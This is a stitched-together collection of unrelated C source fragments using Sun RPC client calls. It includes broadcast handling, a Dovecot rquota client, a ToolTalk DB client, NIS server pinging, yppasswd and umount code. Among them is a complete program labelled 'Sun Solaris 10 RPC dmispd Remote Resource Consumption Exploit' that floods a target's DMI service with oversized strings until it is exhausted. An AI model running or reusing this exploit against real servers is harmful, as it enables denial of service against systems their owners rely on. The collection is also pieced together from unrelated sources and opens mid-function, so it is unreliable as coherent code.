error - we ignore it */ goto recv_again; } /* end of poll results switch */ for (i = fds_found = 0; i < fdlistno && fds_found < pollretval; i++) { bool_t done = FALSE; if (pfd[i].revents == 0) continue; else if (pfd[i].revents & POLLNVAL) { /* * Something bad has happened to this descri- * ptor. We can cause _poll() to ignore * it simply by using a negative fd. We do that * rather than compacting the pfd[] and fdlist[] * arrays. */ pfd[i].fd = -1; fds_found++; continue; } else fds_found++; #ifdef RPC_DEBUG fprintf(stderr, "response for %s\n", fdlist[i].nconf->nc_netid); #endif try_again: inlen = _recvfrom(fdlist[i].fd, inbuf, fdlist[i].dsize, 0, (struct sockaddr *)(void *)&fdlist[i].raddr, &fdlist[i].asize); if (inlen < 0) { if (errno == EINTR) goto try_again; warnx("clnt_bcast: Cannot receive reply to " "broadcast"); stat = RPC_CANTRECV; continue; } if (inlen < sizeof (u_int32_t)) continue; /* Drop that and go ahead */ /* * see if reply transaction id matches sent id. * If so, decode the results. If return id is xid + 1 * it was a PORTMAP reply */ if (*((u_int32_t *)(void *)(inbuf)) == *((u_int32_t *)(void *)(outbuf))) { pmap_reply_flag = 0; msg.acpted_rply.ar_verf = _null_auth; msg.acpted_rply.ar_results.where = (caddr_t)(void *)&bres; msg.acpted_rply.ar_results.proc = (xdrproc_t)xdr_rpcb_rmtcallres; #ifdef PORTMAP } else if (pmap_flag && *((u_int32_t *)(void *)(inbuf)) == *((u_int32_t *)(void *)(outbuf_pmap))) { pmap_reply_flag = 1; msg.acpted_rply.ar_verf = _null_auth; msg.acpted_rply.ar_results.where = (caddr_t)(void *)&bres_pmap; msg.acpted_rply.ar_results.proc = (xdrproc_t)xdr_rmtcallres; #endif /* PORTMAP */ } else continue; xdrmem_create(xdrs, inbuf, (u_int)inlen, XDR_DECODE); if (xdr_replymsg(xdrs, &msg)) { if ((msg.rm_reply.rp_stat == MSG_ACCEPTED) && (msg.acpted_rply.ar_stat == SUCCESS)) { struct netbuf taddr, *np; struct sockaddr_in *sin; #ifdef PORTMAP if (pmap_flag && pmap_reply_flag) { sin = (struct sockaddr_in *) (void *)&fdlist[i].raddr; sin->sin_port = htons((u_short)port); taddr.len = taddr.maxlen = fdlist[i].raddr.ss_len; taddr.buf = &fdlist[i].raddr; done = (*eachresult)(resultsp, &taddr, fdlist[i].nconf); } else { #endif /* PORTMAP */ #ifdef RPC_DEBUG fprintf(stderr, "uaddr %s\n", uaddrp); #endif np = uaddr2taddr( fdlist[i].nconf, uaddrp); done = (*eachresult)(resultsp, np, fdlist[i].nconf); free(np); #ifdef PORTMAP } #endif /* PORTMAP */ } /* otherwise, we just ignore the errors ... */ } /* else some kind of deserialization problem ... */ xdrs->x_op = XDR_FREE; msg.acpted_rply.ar_results.proc = (xdrproc_t) xdr_void; (void) xdr_replymsg(xdrs, &msg); (void) (*xresults)(xdrs, resultsp); XDR_DESTROY(xdrs); if (done) { stat = RPC_SUCCESS; goto done_broad; } else { goto recv_again; } } /* The recv for loop */ } /* The giant for loop */ done_broad: free(inbuf); free(outbuf); #ifdef PORTMAP free(outbuf_pmap); #endif /* PORTMAP */ for (i = 0; i < fdlistno; i++) { (void)_close(fdlist[i].fd); __rpc_freebroadifs(&fdlist[i].nal); } AUTH_DESTROY(sys_auth); (void) __rpc_endconf(handle); return (stat); }
int main(int argc, char *argv[]) { char b[SIZE], *buf, *target = argv[1]; int i, usock = RPC_ANYSOCK; struct hostent *hp; struct sockaddr_in us; struct timeval tm={10, 0}; CLIENT *cli; enum clnt_stat clnt_stat; if(argc < 2) { printf("\nSun Solaris 10 RPC dmispd Remote Resource Consumption Exploit\n"); printf("Usage: %s <target>\n\n", argv[0]); return 0; } printf("\nSun Solaris 10 RPC dmispd Remote Resource Consumption Exploit\n"); if((hp = gethostbyname(target)) == NULL) { perror("gethostbyname"); exit(-1); } memcpy(&us.sin_addr.s_addr, hp->h_addr, 4); us.sin_family = AF_INET; us.sin_port = 0; if((cli = clntudp_create(&us, PROG_NUM, PROG_VER, tm, &usock)) == (CLIENT *)NULL) { clnt_pcreateerror("clntudp_create"); exit(-1); } cli->cl_auth = authunix_create_default(); memset(b, 'A', sizeof(b)); buf = b; printf("\nConsuming Resources @ %s [P:%d V:%d F:%d]...\n\n", target, PROG_NUM, PROG_VER, DMIPROC_ADDROW); for(i = 0; i < LOOP; i++) { printf("--> #%d\n", i+1); clnt_stat = clnt_call(cli, DMIPROC_ADDROW, (xdrproc_t)xdr_wrapstring, (char *)&buf, (xdrproc_t)xdr_wrapstring, (char *)&buf, tm); if(clnt_stat != RPC_SUCCESS) clnt_perror(cli, "rpc"); } printf("\nFinished. Now your sun server may recover :)\n\n"); // restart dmi services to try again auth_destroy(cli->cl_auth); clnt_destroy(cli); }
static int do_rquota_user(struct fs_quota_root *root, bool bytes, uint64_t *value_r, uint64_t *limit_r) { struct getquota_rslt result; struct getquota_args args; struct timeval timeout; enum clnt_stat call_status; CLIENT *cl; struct fs_quota_mountpoint *mount = root->mount; const char *host; char *path; path = strchr(mount->device_path, ':'); i_assert(path != NULL); host = t_strdup_until(mount->device_path, path); path++; /* For NFSv4, we send the filesystem path without initial /. Server prepends proper NFS pseudoroot automatically and uses this for detection of NFSv4 mounts. */ if (strcmp(root->mount->type, "nfs4") == 0) { while (*path == '/') path++; } if (root->root.quota->set->debug) { i_debug("quota-fs: host=%s, path=%s, uid=%s, %s", host, path, dec2str(root->uid), bytes ? "bytes" : "files"); } /* clnt_create() polls for a while to establish a connection */ cl = clnt_create(host, RQUOTAPROG, RQUOTAVERS, "udp"); if (cl == NULL) { i_error("quota-fs: could not contact RPC service on %s", host); return -1; } /* Establish some RPC credentials */ auth_destroy(cl->cl_auth); cl->cl_auth = authunix_create_default(); /* make the rquota call on the remote host */ args.gqa_pathp = path; args.gqa_uid = root->uid; timeout.tv_sec = RQUOTA_GETQUOTA_TIMEOUT_SECS; timeout.tv_usec = 0; call_status = clnt_call(cl, RQUOTAPROC_GETQUOTA, (xdrproc_t)xdr_getquota_args, (char *)&args, (xdrproc_t)xdr_getquota_rslt, (char *)&result, timeout); /* the result has been deserialized, let the client go */ auth_destroy(cl->cl_auth); clnt_destroy(cl); if (call_status != RPC_SUCCESS) { const char *rpc_error_msg = clnt_sperrno(call_status); i_error("quota-fs: remote rquota call failed: %s", rpc_error_msg); return -1; } switch (result.status) { case Q_OK: { rquota_get_result(&result.getquota_rslt_u.gqr_rquota, bytes, value_r, limit_r); if (root->root.quota->set->debug) { i_debug("quota-fs: uid=%s, value=%llu, limit=%llu", dec2str(root->uid), (unsigned long long)*value_r, (unsigned long long)*limit_r); } return 1; } case Q_NOQUOTA: if (root->root.quota->set->debug) { i_debug("quota-fs: uid=%s, limit=unlimited", dec2str(root->uid)); } return 1; case Q_EPERM: i_error("quota-fs: permission denied to rquota service"); return -1; default: i_error("quota-fs: unrecognized status code (%d) " "from rquota service", result.status); return -1; } }
_Tt_db_results _Tt_db_client::connectToDB (const _Tt_string &hostname) { _tt_auth_level_results *auth_level_results = (_tt_auth_level_results *)NULL; int _socket; _socket = -1; dbHostname = hostname; // Connect to the dbserver on the specified host. // If we don't have TI_RPC we cannot depend on CLGET_FD, so // we have to use clnttcp_create so that we get the socket FD back // in order to set close_on_exec. #if defined(OPT_TLI) #ifdef OPT_HAS_CLNT_CREATE_TIMED struct timeval tv = { OPT_CLNT_CREATE_TIMEOUT, 0}; dbServer = clnt_create_timed((char *)dbHostname, TT_DBSERVER_PROG, TT_DBSERVER_VERS, (char *)TT_DB_RPC_PROTO, &tv); #else dbServer = clnt_create((char *)dbHostname, TT_DBSERVER_PROG, TT_DBSERVER_VERS, (char *)TT_DB_RPC_PROTO); #endif if (dbServer) { clnt_control(dbServer, CLGET_FD, (char *)&_socket); } #else struct sockaddr_in server_addr; struct hostent *host_ret; _Xgethostbynameparams host_buf; memset((char*) &host_buf, 0, sizeof(_Xgethostbynameparams)); if ((host_ret = _XGethostbyname((char *)dbHostname, host_buf)) != NULL) { _socket = RPC_ANYSOCK; memset(&server_addr, 0, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(0); memcpy(&server_addr.sin_addr.s_addr, *(host_ret->h_addr_list), sizeof(server_addr.sin_addr.s_addr)); dbServer = clnttcp_create(&server_addr, TT_DBSERVER_PROG, TT_DBSERVER_VERS, &_socket, 0, 0); } else { // gethostbyname failed, fake RPC error dbServer = 0; rpc_createerr.cf_stat = RPC_UNKNOWNHOST; } #endif // Connection failed. if (!dbServer) { _tt_syslog(0, LOG_ERR, catgets(_ttcatd, 1, 3, "clnt_create for rpc.ttdbserverd on %s failed%s"), (char *)dbHostname, clnt_spcreateerror("")); // Set dbConnectionResults data member... SetError(rpc_createerr.cf_stat); return dbConnectionResults; } // Connection succeeded. clnt_control(dbServer, CLSET_TIMEOUT, (char *)&TT_DB_RPC_QUICK_TIMEOUT); dbConnectionResults = TT_DB_ERR_DB_CONNECTION_FAILED; // Default value. for (;dbVersion > 0; dbVersion--) { if (dbVersion > 1) { auth_level_results = _tt_get_min_auth_level_1 ((void *)NULL, dbServer); } else { // If dbVersion == 1, then we are talking to an old DB server static _tt_auth_level_results results; char *path = ""; clnt_stat rpc_status; int *result = (int *)NULL; result = _tt_min_auth_level_1(&path, dbServer, &rpc_status); if (result) { results.results = TT_DB_OK; results.auth_level = *result; auth_level_results = &results; } } if ((auth_level_results) && (auth_level_results->results == TT_DB_OK)) { clnt_control(dbServer, CLSET_TIMEOUT, (char *)&TT_DB_RPC_NORMAL_TIMEOUT); dbAuthLevel = auth_level_results->auth_level; dbConnectionResults = TT_DB_OK; // Default return value. switch (dbAuthLevel) { case AUTH_NONE: case AUTH_UNIX: dbServer->cl_auth = authunix_create_default(); break; #ifdef OPT_SECURE_RPC case AUTH_DES: { char server_net_name [MAXNETNAMELEN+1]; struct hostent *host_ret; _Xgethostbynameparams host_buf; if (host2netname(server_net_name, dbHostname, 0) && ((host_ret = _XGethostbyname((char *)dbHostname, host_buf)) != NULL)) { #ifdef OPT_TLI dbServerNetName = server_net_name; #else memcpy((caddr_t) &dbSocket.sin_addr, host_ret->h_addr, host_ret->h_length); dbSocket.sin_family = AF_INET; dbSocket.sin_port = 0; #endif } else { dbConnectionResults = TT_DB_ERR_DB_CONNECTION_FAILED; } } break; #endif // OPT_SECURE_RPC default: dbConnectionResults = TT_DB_ERR_DB_CONNECTION_FAILED; break; } break; } else { // If _tt_get_min_auth_level_1 is not available, then we are talking // to an old DB server. if (_tt_get_rpc_result() != RPC_AUTHERROR) { _tt_syslog(0, LOG_ERR, catgets(_ttcatd, 1, 4, "Error: rpc.ttdbserverd on %s is not running"), (char *)dbHostname); SetError(_tt_get_rpc_result()); break; // Give up and return error code. } } } // end -for()- // // Cleanup if failure. // if (dbConnectionResults != TT_DB_OK) { if (dbServer) { clnt_destroy(dbServer); dbServer = (CLIENT *)NULL; } } // Set close-on-exec bit so a libtt client which forks and execs won't // be short some fd's in the child. if (-1 != _socket && -1 == fcntl(_socket, F_SETFD, 1)) { _tt_syslog( 0, LOG_ERR, "_Tt_db_client::connectToDb(): " "fcntl(F_SETFD): %m"); } return dbConnectionResults; }
main( int argc, char * argv[] ) { struct timeval intervalle = { TIMEOUT_SEC, 0 }; CLIENT * client ; int c ; struct rpcent * etc_rpc ; /* pour consulter /etc/rpc ou rpc.bynumber */ unsigned int adresse_serveur ; /* Au format NET */ struct hostent * hp ; char nom_exec[MAXPATHLEN] ; char machine_locale[256] ; char * tempo_nom_exec = NULL ; unsigned int rpc_service_num = DEFAULT_RPC_SERVICE ; unsigned int rpc_version = V4 ; unsigned int rpcproc = PROC_PLUS1 ; unsigned short port = ntohs( 2049 ) ; int val = 2 ; int rc ; char gss_service[1024] ; char host[100] ; struct COMPOUND4args compound4_args ; struct COMPOUND4res compound4_res ; /* On recupere le nom de l'executable */ if( ( tempo_nom_exec = strrchr( argv[0], '/' ) ) != NULL ) strcpy( (char *)nom_exec, tempo_nom_exec + 1 ) ; strcpy( ifname, "eth0" ) ; while( ( c = getopt( argc, argv, options ) ) != EOF ) { switch( c ) { case 'd': /* Cette option permet de recuperer un nom pour la machine distante */ if( isalpha( *optarg ) ) { strcpy( host, optarg ) ; } else { adresse_serveur = inet_addr( optarg ) ; } break; case 's': /* Un nom ou un numero de service a ete indique */ if( isalpha( (int)*optarg ) ) { /* Ca commence pas par un chiffre donc c'est un nom service */ if( ( etc_rpc = getrpcbyname( optarg ) ) == NULL ) { fprintf( stderr, "Impossible de resoudre le service %s\n", optarg ) ; } else { rpc_service_num = etc_rpc->r_number ; } } else { /* C'est un numero de service qui est indique */ rpc_service_num = atoi( optarg ) ; } break ; case 'v': /* numero de version */ rpc_version = atoi( optarg ) ; break ; case 'p': rpcproc = atoi( optarg ) ; break ; case 'I': strcpy( ifname, optarg ) ; break ; case 'h': case '?': default: /* Affichage de l'aide en ligne */ fprintf( stderr, utilisation, nom_exec ) ; exit( 0 ) ; break ; } } if( ( client = Creer_RPCClient( host, rpc_service_num, rpc_version, port , RPC_ANYSOCK ) ) == NULL ) { char erreur[100] ; strcpy( erreur, clnt_spcreateerror( "Creation RPC" ) ) ; fprintf( stderr, "Creation RPC: %s\n", erreur ) ; exit( 1 ) ; } client->cl_auth = authunix_create_default(); compound4_args.tag.utf8string_len = 0 ; /* No Tag */ compound4_args.minorversion = 0 ; compound4_args.argarray.argarray_len = 1 ; compound4_args.argarray.argarray_val = (struct nfs_argop4 * )malloc( sizeof( struct nfs_argop4 ) ) ; compound4_args.argarray.argarray_val[0].argop = NFS4_OP_PUTROOTFH ; /* This operation requires no argument */ fprintf( stderr, "requete v4\n" ) ; if( ( rc = clnt_call( client, 1, (xdrproc_t)xdr_COMPOUND4args, (caddr_t)&compound4_args, (xdrproc_t)xdr_COMPOUND4res, (caddr_t)&compound4_res, intervalle ) ) != RPC_SUCCESS ) { clnt_perror( client, "appel a NFSPROC4_COMPOUND\n" ) ; exit ( 1 ) ; } fprintf( stderr, "Requete v4 OK\n" ) ; auth_destroy( client->cl_auth ) ; clnt_destroy( client ) ; }
static long int __nis_findfastest_with_timeout (dir_binding *bind, const struct timeval *timeout) { static const struct timeval TIMEOUT00 = { 0, 0 }; struct findserv_req *pings; struct sockaddr_in sin, saved_sin; int found = -1; u_int32_t xid_seed; int sock, dontblock = 1; CLIENT *clnt; u_long i, j, pings_count, pings_max, fastest = -1; struct cu_data *cu; pings_max = bind->server_len * 2; /* Reserve a little bit more memory for multihomed hosts */ pings_count = 0; pings = malloc (sizeof (struct findserv_req) * pings_max); xid_seed = (u_int32_t) (time (NULL) ^ getpid ()); if (__builtin_expect (pings == NULL, 0)) return -1; memset (&sin, '\0', sizeof (sin)); sin.sin_family = AF_INET; for (i = 0; i < bind->server_len; i++) for (j = 0; j < bind->server_val[i].ep.ep_len; ++j) if (strcmp (bind->server_val[i].ep.ep_val[j].family, "inet") == 0) if ((bind->server_val[i].ep.ep_val[j].proto == NULL) || (bind->server_val[i].ep.ep_val[j].proto[0] == '-') || (bind->server_val[i].ep.ep_val[j].proto[0] == '\0')) { sin.sin_addr.s_addr = inetstr2int (bind->server_val[i].ep.ep_val[j].uaddr); if (sin.sin_addr.s_addr == 0) continue; sin.sin_port = htons (__pmap_getnisport (&sin, NIS_PROG, NIS_VERSION, IPPROTO_UDP)); if (sin.sin_port == 0) continue; if (pings_count >= pings_max) { struct findserv_req *new_pings; pings_max += 10; new_pings = realloc (pings, sizeof (struct findserv_req) * pings_max); if (__builtin_expect (new_pings == NULL, 0)) { free (pings); return -1; } pings = new_pings; } memcpy ((char *) &pings[pings_count].sin, (char *) &sin, sizeof (sin)); memcpy ((char *)&saved_sin, (char *)&sin, sizeof(sin)); pings[pings_count].xid = xid_seed + pings_count; pings[pings_count].server_nr = i; pings[pings_count].server_ep = j; ++pings_count; } /* Make sure at least one server was assigned */ if (pings_count == 0) { free (pings); return -1; } /* Create RPC handle */ sock = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP); clnt = clntudp_create (&saved_sin, NIS_PROG, NIS_VERSION, *timeout, &sock); if (clnt == NULL) { close (sock); free (pings); return -1; } auth_destroy (clnt->cl_auth); clnt->cl_auth = authunix_create_default (); cu = (struct cu_data *) clnt->cl_private; ioctl (sock, FIONBIO, &dontblock); /* Send to all servers the NULLPROC */ for (i = 0; i < pings_count; ++i) { /* clntudp_call() will increment, subtract one */ *((u_int32_t *) (cu->cu_outbuf)) = pings[i].xid - 1; memcpy ((char *) &cu->cu_raddr, (char *) &pings[i].sin, sizeof (struct sockaddr_in)); /* Transmit to NULLPROC, return immediately. */ clnt_call (clnt, NULLPROC, (xdrproc_t) xdr_void, (caddr_t) 0, (xdrproc_t) xdr_void, (caddr_t) 0, TIMEOUT00); } while (found == -1) { /* Receive reply from NULLPROC asynchronously. Note null inproc. */ int rc = clnt_call (clnt, NULLPROC, (xdrproc_t) NULL, (caddr_t) 0, (xdrproc_t) xdr_void, (caddr_t) 0, *timeout); if (RPC_SUCCESS == rc) { u_int32_t val; memcpy (&val, cu->cu_inbuf, sizeof (u_int32_t)); fastest = val - xid_seed; if (fastest < pings_count) { bind->server_used = pings[fastest].server_nr; bind->current_ep = pings[fastest].server_ep; found = 1; } } else { /* clnt_perror(clnt, "__nis_findfastest"); */ break; } } auth_destroy (clnt->cl_auth); clnt_destroy (clnt); close (sock); free (pings); return found; }
int yp_passwd(char *username) { struct yppasswd yppwd; int r, rpcport, status, secure=0; struct passwd *pw; struct timeval tv; login_cap_t *lc; CLIENT *client; char *master; uid_t uid; /* * Get local domain */ if ((r = yp_get_default_domain(&domain)) != 0) { warnx("can't get local YP domain. Reason: %s", yperr_string(r)); return (1); } /* * Find the host for the passwd map; it should be running * the daemon. */ if ((r = yp_master(domain, "master.passwd.byname", &master)) == 0) { secure=1; } else if ((r = yp_master(domain, "passwd.byname", &master)) != 0) { warnx("can't find the master YP server. Reason: %s", yperr_string(r)); return (1); } /* * Ask the portmapper for the port of the daemon. */ if ((rpcport = getrpcport(master, YPPASSWDPROG, YPPASSWDPROC_UPDATE, IPPROTO_UDP)) == 0) { warnx("master YP server not running yppasswd daemon."); warnx("Can't change password."); return (1); } /* * Be sure the port is privileged */ if (rpcport >= IPPORT_RESERVED) { warnx("yppasswd daemon is on an invalid port."); return (1); } /* Get user's login identity */ if (!(pw = ypgetpwnam(username, secure))) { warnx("unknown user %s.", username); return (1); } if ((lc = login_getclass(pw->pw_class)) == NULL) { warnx("unable to get login class for user %s.", username); return (1); } uid = getuid(); if (uid && uid != pw->pw_uid) { warnx("you may only change your own password: %s", strerror(EACCES)); return (1); } /* prompt for new password */ yppwd.newpw.pw_passwd = ypgetnewpasswd(pw, lc, &yppwd.oldpass); /* tell rpc.yppasswdd */ yppwd.newpw.pw_name = pw->pw_name; yppwd.newpw.pw_uid = pw->pw_uid; yppwd.newpw.pw_gid = pw->pw_gid; yppwd.newpw.pw_gecos = pw->pw_gecos; yppwd.newpw.pw_dir = pw->pw_dir; yppwd.newpw.pw_shell = pw->pw_shell; client = clnt_create(master, YPPASSWDPROG, YPPASSWDVERS, "udp"); if (client==NULL) { warnx("cannot contact yppasswdd on %s: Reason: %s", master, yperr_string(YPERR_YPBIND)); free(yppwd.newpw.pw_passwd); return (YPERR_YPBIND); } client->cl_auth = authunix_create_default(); tv.tv_sec = 2; tv.tv_usec = 0; r = clnt_call(client, YPPASSWDPROC_UPDATE, xdr_yppasswd, &yppwd, xdr_int, &status, tv); if (r) { printf("rpc to yppasswdd failed.\n"); free(yppwd.newpw.pw_passwd); return (1); } else if (status) { printf("Couldn't change YP password.\n"); free(yppwd.newpw.pw_passwd); return (1); } else { printf("The YP password has been changed on %s, " "the master YP passwd server.\n", master); free(yppwd.newpw.pw_passwd); return (0); } }
int umountfs(char *name, char **typelist) { enum clnt_stat clnt_stat; struct hostent *hp; struct mtablist *mtab; struct sockaddr_in saddr; struct timeval pertry, try; CLIENT *clp; size_t len; int so, speclen, do_rpc; char *mntonname, *mntfromname; char *mntfromnamerev; char *nfsdirname, *orignfsdirname; char *resolved, realname[MAXPATHLEN]; char *type, *delimp, *hostp, *origname; len = 0; mtab = NULL; mntfromname = mntonname = delimp = hostp = orignfsdirname = NULL; /* * 1. Check if the name exists in the mounttable. */ (void)checkmntlist(name, &mntfromname, &mntonname, &type); /* * 2. Remove trailing slashes if there are any. After that * we look up the name in the mounttable again. */ if (mntfromname == NULL && mntonname == NULL) { speclen = strlen(name); for (speclen = strlen(name); speclen > 1 && name[speclen - 1] == '/'; speclen--) name[speclen - 1] = '\0'; (void)checkmntlist(name, &mntfromname, &mntonname, &type); resolved = name; /* Save off original name in origname */ if ((origname = strdup(name)) == NULL) err(1, "strdup"); /* * 3. Check if the deprecated nfs-syntax with an '@' * has been used and translate it to the ':' syntax. * Look up the name in the mounttable again. */ if (mntfromname == NULL && mntonname == NULL) { if ((delimp = strrchr(name, '@')) != NULL) { hostp = delimp + 1; if (*hostp != '\0') { /* * Make both '@' and ':' * notations equal */ char *host = strdup(hostp); len = strlen(hostp); if (host == NULL) err(1, "strdup"); memmove(name + len + 1, name, (size_t)(delimp - name)); name[len] = ':'; memmove(name, host, len); free(host); } for (speclen = strlen(name); speclen > 1 && name[speclen - 1] == '/'; speclen--) name[speclen - 1] = '\0'; name[len + speclen + 1] = '\0'; (void)checkmntlist(name, &mntfromname, &mntonname, &type); resolved = name; } /* * 4. Check if a relative mountpoint has been * specified. This should happen as last check, * the order is important. To prevent possible * nfs-hangs, we just call realpath(3) on the * basedir of mountpoint and add the dirname again. * Check the name in mounttable one last time. */ if (mntfromname == NULL && mntonname == NULL) { (void)strcpy(name, origname); if ((getrealname(name, realname)) != NULL) { (void)checkmntlist(realname, &mntfromname, &mntonname, &type); resolved = realname; } /* * All tests failed, return to main() */ if (mntfromname == NULL && mntonname == NULL) { (void)strcpy(name, origname); warnx("%s: not currently mounted", origname); free(origname); return (1); } } } free(origname); } else resolved = name; if (checkvfsname(type, typelist)) return (1); hp = NULL; nfsdirname = NULL; if (!strcmp(type, "nfs")) { if ((nfsdirname = strdup(mntfromname)) == NULL) err(1, "strdup"); orignfsdirname = nfsdirname; if ((delimp = strchr(nfsdirname, ':')) != NULL) { *delimp = '\0'; hostp = nfsdirname; if ((hp = gethostbyname(hostp)) == NULL) { warnx("can't get net id for host"); } nfsdirname = delimp + 1; } } /* * Check if the reverse entrys of the mounttable are really the * same as the normal ones. */ if ((mntfromnamerev = strdup(getmntname(getmntname(mntfromname, NULL, MNTON, &type, NAME), NULL, MNTFROM, &type, NAME))) == NULL) err(1, "strdup"); /* * Mark the uppermost mount as unmounted. */ (void)getmntname(mntfromname, mntonname, NOTHING, &type, MARK); /* * If several equal mounts are in the mounttable, check the order * and warn the user if necessary. */ if (strcmp(mntfromnamerev, mntfromname ) != 0 && strcmp(resolved, mntonname) != 0) { warnx("cannot umount %s, %s\n " "is mounted there, umount it first", mntonname, mntfromnamerev); /* call getmntname again to set mntcheck[i] to 0 */ (void)getmntname(mntfromname, mntonname, NOTHING, &type, UNMARK); return (1); } free(mntfromnamerev); /* * Check if we have to start the rpc-call later. * If there are still identical nfs-names mounted, * we skip the rpc-call. Obviously this has to * happen before unmount(2), but it should happen * after the previous namecheck. */ if (strcmp(type, "nfs") == 0 && getmntname(mntfromname, NULL, NOTHING, &type, COUNT) != NULL) do_rpc = 1; else do_rpc = 0; if (!namematch(hp)) return (1); if (unmount(mntonname, fflag) != 0 ) { warn("unmount of %s failed", mntonname); return (1); } if (vflag) (void)printf("%s: unmount from %s\n", mntfromname, mntonname); /* * Report to mountd-server which nfsname * has been unmounted. */ if (hp != NULL && !(fflag & MNT_FORCE) && do_rpc) { memset(&saddr, 0, sizeof(saddr)); saddr.sin_family = AF_INET; saddr.sin_port = 0; memmove(&saddr.sin_addr, hp->h_addr, MIN(hp->h_length, sizeof(saddr.sin_addr))); pertry.tv_sec = 3; pertry.tv_usec = 0; so = RPC_ANYSOCK; if ((clp = clntudp_create(&saddr, RPCPROG_MNT, RPCMNT_VER1, pertry, &so)) == NULL) { clnt_pcreateerror("Cannot MNT PRC"); return (1); } clp->cl_auth = authunix_create_default(); try.tv_sec = 20; try.tv_usec = 0; clnt_stat = clnt_call(clp, RPCMNT_UMOUNT, xdr_dir, nfsdirname, xdr_void, (caddr_t)0, try); if (clnt_stat != RPC_SUCCESS) { clnt_perror(clp, "Bad MNT RPC"); return (1); } /* * Remove the unmounted entry from /var/db/mounttab. */ if (read_mtab(mtab)) { mtab = mtabhead; clean_mtab(hostp, nfsdirname); if(!write_mtab()) warnx("cannot remove entry %s:%s", hostp, nfsdirname); free_mtab(); } free(orignfsdirname); auth_destroy(clp->cl_auth); clnt_destroy(clp); }